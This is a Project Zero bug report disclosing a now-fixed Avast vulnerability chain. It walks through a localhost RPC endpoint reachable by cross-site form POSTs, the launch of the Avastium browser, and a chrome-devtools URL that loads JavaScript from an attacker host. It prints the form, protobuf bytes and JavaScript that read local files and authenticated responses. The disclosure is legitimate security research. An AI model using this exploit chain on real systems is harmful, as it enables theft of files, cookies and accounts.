New issue
Advanced search Search tips
Starred by 11 users
Status: Fixed
Owner:
Closed: Feb 2016
Cc:

Restricted
  • Only users with Commit permission may comment.



Sign in to add a comment
Avast: A web-accessible RPC endpoint can launch "SafeZone" (also called Avastium), a Chromium fork with critical security checks removed.
Project Member Reported by taviso@google.com, Dec 18 2015 Back to list
I sent the following report to Avast this morning.

This one is complicated, but allows an attacker to read any file on the filesystem by clicking a link. You don't even have to know the name or path of the file, because you can also retrieve directory listings using this attack. Additionally, you can send arbitrary *authenticated* HTTP requests, and read the responses. This allows an attacker to read cookies, email, interact with online banking and so on.

I've prepared a demo that accesses C:\ and prints the contents. It's trivial to make examples that read your email if you're authenticated to gmail, and reading arbitrary files from your User directory.

Although this attack relies on Avastium (Avast's port of Chromium), the victim does *not* have to be using it, and never has to have used it, because your profile is automatically imported from Chrome on startup.

If you just want to see a demo, here it is, I only tested it in Chrome, but it should be portable:

https://lock.cmpxchg8b.com/xour2Iab/avastium_demo.html

(Note: This url is a secret)

Web Accessible RPC Endpoint

First, I noticed that AvastSvc.exe creates an for RPC endpoint on port 27275. I reverse engineered the wire format and found that the RPCs are Protocol Buffers sent over HTTP POSTs. That's a problem, because websites are permitted to do cross-domain POSTs to localhost, and by aligning the data carefully it's possible to send valid RPCs with a HTML <form>. Therefore, we can send arbitrary RPC's to this service just by getting a user to visit a website.



​​

An example form, which can be sent automatically with javascript by calling submit() on the DOM element, might be:

<form method="post" enctype="text/plain" action="http://localhost:27275/command">
<input name="{BinaryProtobuf}" value="">
<input type="submit">
</form>

I enumerated all the RPC commands available, luckily there's nothing terribly exciting, perhaps the worst is that privacy settings can be changed. However, I also found that you can launch Avastium via RPC 7 (from the strings, it looks like this is enum SWITCH_TO_SAFEZONE), which accepts a URL as a parameter.


​

I'm not sure I understand the utility of the "SafeZone" feature of Avastium, which appears to make the browser window switch to an alternate desktop when you visit a domain that looks like a bank (!?)...but whatevs.

The protobuf is encoded like this to send SWITCH_TO_SAFEZONE("https://www.google.com"):

$ xxd protobuf 
00000000: 0807 1216 6874 7470 733a 2f2f 7777 772e  ....https://www.
00000010: 676f 6f67 6c65 2e63 6f6d 1803            google.com..

And verifying that works....

$ curl -id @protobuf http://localhost:27275/command
HTTP/1.0 200 OK
Content-Length: 0

$ tasklist /FI "IMAGENAME eq AvastSZB.exe"
Image Name                     PID Session Name        Session#    Mem Usage
========================= ======== ================ =========== ============
AvastSZB.exe                  1616 Console                    1     70,952 K
AvastSZB.exe                  8040 Console                    1     47,532 K
AvastSZB.exe                  1516 Console                    1     33,572 K
...

That works, Avastium was started. Now you literally just embed it in a form like this, and we can invoke the RPC from a browser.

$ xxd test.html 
00000000: 3c66 6f72 6d20 6d65 7468 6f64 3d70 6f73  <form method=pos
00000010: 7420 656e 6374 7970 653d 2274 6578 742f  t enctype="text/
00000020: 706c 6169 6e22 2061 6374 696f 6e3d 2268  plain" action="h
00000030: 7474 703a 2f2f 6c6f 6361 6c68 6f73 743a  ttp://localhost:
00000040: 3237 3237 352f 636f 6d6d 616e 6422 3e0a  27275/command">.
00000050: 3c69 6e70 7574 206e 616d 653d 2208 0712  <input name="...
00000060: 1668 7474 7073 3a2f 2f77 7777 2e67 6f6f  .https://www.goo
00000070: 676c 652e 636f 6d18 2220 7661 6c75 653d  gle.com." value=
00000080: 2222 3e0a 3c69 6e70 7574 2074 7970 653d  "">.<input type=
00000090: 2273 7562 6d69 7422 3e0a 3c2f 666f 726d  "submit">.</form
000000a0: 3e                                       >

Note that the final Protobuf field (BrowserType?) must be truncated, and the browser will append the '=' from the form (because it's name=value pairs).

Critical Security Checks Removed From Avastium

Launching a browser might not sound bad, and it wouldn't be if this was Chromium. That's because Chromium will only allow WebSafe URLs on the commandline. WebSafe means that an attacker is allowed to navigate to it from the web, e.g. http://, https://, javascript:, data:, and so on. 

https://code.google.com/p/chromium/codesearch#chromium/src/chrome/browser/ui/startup/startup_browser_creator.cc&sq=package:chromium&type=cs&l=580&rcl=1450398980

    // Exclude dangerous schemes.
    if (url.is_valid()) {
      ChildProcessSecurityPolicy* policy =
          ChildProcessSecurityPolicy::GetInstance();
      if (policy->IsWebSafeScheme(url.scheme()) ||
          url.SchemeIs(url::kFileScheme) ||
#if defined(OS_CHROMEOS)
          // In ChromeOS, allow any settings page to be specified on the command
          // line. See ExistingUserController::OnLoginSuccess.
          (url.spec().find(chrome::kChromeUISettingsURL) == 0) ||
#else
          ((url.spec().find(std::string(chrome::kChromeUISettingsURL) +
                            chrome::kResetProfileSettingsSubPage) == 0)) ||
#endif
          (url.spec().compare(url::kAboutBlankURL) == 0)) {
        urls.push_back(url);
      }
    }
 
For example, here are some attempts to change to a non-websafe scheme from a https: origin using the javascript console:

> document.location.protocol
"https:"
> document.location="file:///etc/passwd"
(index):1 Not allowed to load local resource: file:///etc/passwd
> document.location="chrome://settings"
(index):1 Not allowed to load local resource: chrome://settings/

This means being able to specify a URL on the commandline, doesn't really get you anything that you couldn't already do from the web in Chromium.

For some reason, Avastium removed this check for dangerous schemes, and will allow any URL scheme without restriction on the commandline. This includes internal schemes like chrome://, therefore being able to specify a URL on the commandline *does* get you additional privilege with Avastium.

Exploiting Navigation to Non-WebSafe URL Schemes in Avastium

It took some work to find a codepath that didn't hit some defense-in-depth assertion in Chromium when trying to exploit this, but I did eventually find one that allows privileged javascript execution just from the url; chrome-devtools://. chrome-devtools does allow javascript extensions to be loaded from URL parameters, although the extension has to be served with a Access-Control-Allow-Origin header.

I setup a server with Access-Control-Allow-Origin, then constructed a URL like this to get an extension loaded:

chrome-devtools://devtools/bundled/inspector.html?remoteBase=http://exploithost/&remoteFrontend=true


This will cause an XMLHttpRequest to ${remoteBase}/screencast_module.js, and evaluate the response in the chrome-devtools origin.

Note: You might think that you disabled devtools by default in Avastium, but you actually just hid the UI, the code is still present.

Now we have javascript execution with origin chrome-devtools://, but that doesn't actually give you very much. chrome-devtools is a weird origin that is supposed to be embedded, and it gets all of it's privilege from sending messages to it's embedder. However, some requests are short-circuited and don't need a host, and I found a few messages that still worked in this mode, including "loadNetworkResource".

https://code.google.com/p/chromium/codesearch#chromium/src/chrome/browser/devtools/devtools_ui_bindings.cc&sq=package:chromium&type=cs&l=638

void DevToolsUIBindings::LoadNetworkResource(const DispatchCallback& callback,
                                             const std::string& url,
                                             const std::string& headers,
                                             int stream_id);


To use this API, you have to create a callback at DevToolsAPI.streamWrite to receive the data:

var data = "";

DevToolsAPI.streamWrite = function(id, chunk) {
    document.write("Receiving data for stream " + id + "<br>");
    data += chunk;
}

And create a callback to receive the headers:

function result(result) {
    // This object includes all headers the server returned, cinluding
    // Cookies.
    document.write("Resource Result: " + result.statusCode + "<br>");
}

And now you can send a loadNetworkResource message to the (null) embedder:

DevToolsAPI.sendMessageToEmbedder("loadNetworkResource",
    ["https://www.avast.com", "", 0],
    result);

This lets you send and *read* authenticated HTTP requests, using Chrome's cookie store. It get's better: you can also request non-websafe schemes like file:///, because devtools are permitted to examine external resources:

DevToolsAPI.sendMessageToEmbedder(
    "loadNetworkResource",
    [ "file:///C:/", "", 0 ],
    function (result) {
        // This object includes all headers the server returned, cinluding
        // Cookies.
        document.write("Resource Result: " + result.statusCode + "<br>");
        document.write("Here is the data received:<br>");
        document.write("<hr>");
        data.split('\n').map(function(line) {
            if (line.match(/addRow.*;/)) {
                document.write(line.match(/addRow.*;/)[0]);
                document.write("<br>");
            }
        });
        document.write(data);
    }
);

Putting this all together, if an Avast user using *any* web browser visits an attacker controlled URL, he can launch Avastium and take complete control of it; reading files, cookies, passwords, everything. He can even take control of authenticated sessions and read email, interact with online banking, etc.

Here is a working demo that will read the contents of C:\, obviously it could just find interesting files and POST them to the attacker, but it just prints the directory listing:

https://lock.cmpxchg8b.com/xour2Iab/avastium_demo.html

In fact, It's probably possible to turn this into code execution with some more research, but hopefully we're in agreement this is already critical severity.





This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.

 
avastium_demo.html
714 bytes View Download
Avast-2015-12-18-11-33-04.png
216 KB View Download
screencast_module.js
779 bytes View Download
Project Member Comment 1 by taviso@google.com, Dec 28 2015
Avast informed me they've pushed out a temporary mitigation to break the exploit chain, but are still working on fixing all the bugs in the chain.
Project Member Comment 2 by taviso@google.com, Jan 11 2016
It's my understanding a more complete fix is scheduled for the end of the month.
Project Member Comment 3 by taviso@google.com, Jan 28 2016
I pinged Avast for an update, they said: "the fix will be included in the upcoming program update. I still hope it will be released as planned (on 28th)".

I'll check it's released and then unrestrict this.
Project Member Comment 4 by taviso@google.com, Jan 28 2016
Summary: Avast: A web-accessible RPC endpoint can launch "SafeZone" (also called Avastium), a Chromium fork with critical security checks removed. (was: Avast: A web-accessible RPC endpoint can launch "Avastium", a Chromium fork with critical security checks removed.)
Project Member Comment 5 by taviso@google.com, Jan 29 2016
Avast responded that the release with the fix was delayed by 1 week, this is still under deadline.
Project Member Comment 6 by taviso@google.com, Feb 3 2016
Labels: -Restrict-View-Commit
Status: Fixed
It looks like this is live now https://forum.avast.com/index.php?topic=182468.0

Marking issue fixed.
Comment 7 Deleted
Project Member Comment 8 by taviso@google.com, Feb 8 2016
Labels: Restrict-AddIssueComment-Commit
Sign in to add a comment